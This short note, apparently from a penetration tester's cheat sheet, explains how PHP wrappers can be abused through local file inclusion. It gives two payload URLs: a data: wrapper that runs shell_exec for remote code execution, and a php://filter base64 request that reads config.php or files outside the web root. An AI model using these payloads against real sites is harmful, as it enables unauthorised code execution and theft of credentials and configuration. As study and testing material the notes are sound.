PHP wrappers are useful in directory traversal and local file inclusion vulnerabilities in encoding special characters and even achieving RCE.

RCE through data wrapper

rce02-initial-access Relies on PHP LFI to actually interpret the code.

http://example.com/index.php?file=data:text/plain,<?php echo shell_exec("dir") ?>

Encode Data through conversion filter

02-initial-access

http://example.com/index.php?file=php://filter/convert.base64-encode/resource=config.php

Files outside of web root may also be accessed through the resource parameter.